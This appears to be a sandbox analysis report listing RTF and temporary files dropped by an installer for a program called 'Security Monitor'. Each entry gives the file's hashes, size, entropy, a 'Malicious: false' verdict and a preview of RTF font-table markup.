SHA-512:	CEDAD90055D3DE40A431B0FF9FA89D9E2A25E831EC484854F01E04CC953EBBD50D76B23107C5D1446145A4596A721EEBB34B6EFF827C623D894924BEB64B8DA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\McAfee_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	5.037147955886456
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGGASZqeY4sMQi1OkBSyAQdAMeo75Y3kpTBd:2aFknOc7cskl/VGGAS0MDAJZ/6A9S
MD5:	2A08EEECD3328F25905421850E9182BE
SHA1:	EC931D459DAD71B222442AA00412E1E627F343E2
SHA-256:	F7F40C10AE7B09FB3D476FCEA2E2FC7CCA8DF57EE92899A1675B4A1B7D61749D
SHA-512:	D1F92F97F9B9F560A0FC510567A63B8A150759DCE4E25F0AA7B302537E3745FFA9722C144D1FF09308E7F131E92AD1CD5CB91C21B21ECE8B62E7A90B85911C10
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46380
Entropy (8bit):	5.030428428463447
Encrypted:	false
SSDEEP:	768:qqegxdU6T2njX8x3TLjwUtqYepr+pNINnNINGNAAlTuARAhyzc1TOCgX03w3n30j:qqHLIA9R
MD5:	E7F852CDF6B14E79DB92EF3A563FFE70
SHA1:	CEAD99D6CA825878A9040D0F05C04D34DCB48B3F
SHA-256:	C5F6E6F3BEB1F933033207BA5217B357F1257671A5DB08AC5D6E1C484AFF5744
SHA-512:	0F259C1081D3932B0DCA526CE090C3EDEA9C8B40DFE71649F6EED6F948F2FBFE9266C0531BEF728F15ED5969CCC1FE9710EA44903BB2CF49FBD8BA531EBC3D2E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37249
Entropy (8bit):	5.028034136812006
Encrypted:	false
SSDEEP:	768:q4eoxdUjOcPI0QhhiLVutRNQf6zgOG4h/PWvFmZ/6A9D:q4V7UneIA9D
MD5:	0A48D352EE09C07B7AFC4D8FCA754602
SHA1:	A8EF06010F383B0E1DF2C56ABC44E3C28752D99B
SHA-256:	36765A4404110CDE20DBDD48BFB5C7550F38FCD80312627D2465234990A146D2
SHA-512:	5886EF5B32E3619BBCEA35A29332B9EB8BB7E05D2A34C7E9591756E391AC8710886AA52A9A4EF87227F58FE54109EFB3526B905AA1ED75ED93BC3ED7D6EAF871
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38736
Entropy (8bit):	5.026744300506052
Encrypted:	false
SSDEEP:	768:q4eM4jXpT2njX8x3frTlkCR9vIFfT5ebEgTRg+oQHMciZ/6A96:q4U16IA96
MD5:	F53987E38EB6461218A046384275D858
SHA1:	F7D0C00DC80411F7ABF389AF5597F6A9D76671CA
SHA-256:	E2F7132583F6483F598B1D587B4837EA60A4E8147602AB48F72C821FB65CDA64
SHA-512:	23C0AA0AA555D0D04E384320F8682A4AD4511412A854A819C6345F34613039328D5A880B57E0A40DCABDB90F0E324BE03EBA4696F3D93DF96441CF631E01F1CA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36597
Entropy (8bit):	5.030646060695953
Encrypted:	false
SSDEEP:	768:q4FkNx1ETicPI0QhhiLV9E8cvtsomvimZ/6A9Q:q4GVUnXIA9Q
MD5:	4C157CB3C17D248D1CE74DB9A506CBBC
SHA1:	E8786D856D7F9A33E841A2C4BDF4BA41E8153448
SHA-256:	78E2AD2864EE4FA19DF5149FA7C86F4937FECDC48B0AC7965B9332706A356F87
SHA-512:	BA3C0F19E6B41C82021B4B0A00D9177F44D9341C5F26226258AEAC93DD46622C55C50ED284F5B8CD6DEBAF52C35B55720732C0FF9D86961E55648E2182D358DC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	96477
Entropy (8bit):	4.924667312566969
Encrypted:	false
SSDEEP:	768:q4FkIxd/+zl3C79ka9aT2njX8x3fj5g5V5V5h5G5P5N585gVVhGPN9turfTYlD+N:q4pfLS7tFvIA9AA
MD5:	474EFD092A23625D32003FF87FF3453A
SHA1:	1BD49C74CD6DC150858759546E8C8B7A49F12288
SHA-256:	8AEAD04008796E39C04E7E0F99B5824387C416B5C2A0EFF01A9FE5881959F382
SHA-512:	3BED2B0372293ECDF4798D223917556E358EF8AB686D53519EAF6310329FF4B89FB26FA08F42A77D2B16C2065218B9EE746D9D126683CEA19ADAF83172895127
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\eset_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39892
Entropy (8bit):	5.034602521621446
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGG1ZoQZq4sMQi1y9k1IKWhlmdBMyiX4+0Aw:2aFknOc7cskl/VGG1iMN+0dZ/6A9v
MD5:	D947033057D3BCAF28277A8071817DB8
SHA1:	901824B565296E552D80E934D8A2F39369611F86
SHA-256:	B8A385017A5AD17D0584EB61350466CD453CA521B282F195CA0AF0971621BFB2
SHA-512:	92ACB02795C228F72BF64ED33A55B6DB6D4222786B32FA0A67A6A55D53F6D851BC6659CCA4341FDECD6BF0B48E5CAC7D1A437A26927F790A57436C5AAFA1877B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-0TKBV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44224
Entropy (8bit):	5.048946998383766
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsM5qWUTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhMuF4BaA3F1+1h1r1KDIA9z
MD5:	72509EF33CF9A21325EB2DD67445BA6A
SHA1:	37F7D53B232DE88B3F7D1CDD6813598DD611194D
SHA-256:	6C266D43303DCAC9CE57903481E22442AABD532FFD6E4ADF5C3E4B7820E8CBA8
SHA-512:	00957DDFF315CC324CE9EAAA890EC2712543DEA6ADC8892BCCED84445AF7A8701066FF44708396D63F3F8FEFC1FBEC8EEB687A4A9009632E1644D095300B2542
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-15VHB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44577
Entropy (8bit):	5.047991849900316
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsH5GmTF187V63Fq+1h1r1FOZ/6A9b:2amAhHzF187g3Fq+1h1r1FOIA9b
MD5:	91A847C22456099C70F172382B194CBD
SHA1:	E3C2687C4166260A3C70B667341DB4773461D45D
SHA-256:	84D171982B9A0B79099979907F3347B0E21DEC8162F8DB41C22097D89EA4D7AD
SHA-512:	C194CF609F25F2813696E8FA33178917E63FFB6B9BFC2F78A5E7384D97434CC8545C585B3D94829D4F4ABD5BF2A9FB28383EB22ABF8F3166AD3AB875BDE35E28
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-1MP1O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50474
Entropy (8bit):	5.02065375573397
Encrypted:	false
SSDEEP:	768:q4Fk5e0/qCdXF2njX8x3l7G5V5V5h5G5P5N58JCxCIWC3/OpfVPV0VVqrHLLA2YG:q4bdAc8IA9+
MD5:	9796F2ACB16A082E1398FF7EB812FBF6
SHA1:	3D0439006944B32BA2864A66D50F7BB30857548B
SHA-256:	ACBF9B9D0150B9371E4FC0609F119C77E28F9999F6D30FEE0F1665F6A1116354
SHA-512:	AA0C265F319ED1193E474D23A793C53A697D44B29806EF6EDA7FABF83C597E45F49076D97DB919EC897E9257FCD41AB560A91E50D77EE6148FBA8A6D695DCE8D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-23NC0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37249
Entropy (8bit):	5.028034136812006
Encrypted:	false
SSDEEP:	768:q4eoxdUjOcPI0QhhiLVutRNQf6zgOG4h/PWvFmZ/6A9D:q4V7UneIA9D
MD5:	0A48D352EE09C07B7AFC4D8FCA754602
SHA1:	A8EF06010F383B0E1DF2C56ABC44E3C28752D99B
SHA-256:	36765A4404110CDE20DBDD48BFB5C7550F38FCD80312627D2465234990A146D2
SHA-512:	5886EF5B32E3619BBCEA35A29332B9EB8BB7E05D2A34C7E9591756E391AC8710886AA52A9A4EF87227F58FE54109EFB3526B905AA1ED75ED93BC3ED7D6EAF871
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-28S48.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45730
Entropy (8bit):	5.0380816279242895
Encrypted:	false
SSDEEP:	768:qqXQUx1e8Ca9DGi3w2EHnT2njX8x3FA5xr7YZhZOZiZFs7tAZkjCfbH1Yvv71KDH:qqAGeCIA9+
MD5:	BDBE095C7A0E96988B0CF67900DC1BEA
SHA1:	D2FDD08E37CDD417C3CD03A0432CDD50405DA76D
SHA-256:	EA0ADE471AA7488DF2B2589410D86472EDDDEC744B1F61ADE5347E9E3A297DD9
SHA-512:	87C1513C522958F71339D363324B0B5A439E090478D5D235444E329CCB611ED88B8AA186BBFA91B3D4DC576022CD62AEBC2019149A80073BF6CE37670EC4ACAD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pa

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-3AOBI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44503
Entropy (8bit):	5.048234089968532
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsr5YJTF187V63F1+1h1r1FOZ/6A9b:2amAhryF187g3F1+1h1r1FOIA9b
MD5:	22F6CDCCE6FACBA92B6D270D8C66B570
SHA1:	7290B603CFA4FB5A44C379220E0694A41138C9B8
SHA-256:	B4BBF6FF64527A29990C52C45852C3A9C25D23A44650A9C78233B2440B731B60
SHA-512:	BCC875F094806C5B461A1C62E8A51F9A03BC213B1B48D0ECA421057EF7371C3C7B57A0FAF5765A6F86975B7B9AF98A64141CCBF8CD7E301D6A1A182C3B9935B8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-3KPPE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38736
Entropy (8bit):	5.026744300506052
Encrypted:	false
SSDEEP:	768:q4eM4jXpT2njX8x3frTlkCR9vIFfT5ebEgTRg+oQHMciZ/6A96:q4U16IA96
MD5:	F53987E38EB6461218A046384275D858
SHA1:	F7D0C00DC80411F7ABF389AF5597F6A9D76671CA
SHA-256:	E2F7132583F6483F598B1D587B4837EA60A4E8147602AB48F72C821FB65CDA64
SHA-512:	23C0AA0AA555D0D04E384320F8682A4AD4511412A854A819C6345F34613039328D5A880B57E0A40DCABDB90F0E324BE03EBA4696F3D93DF96441CF631E01F1CA
Malicious:	false
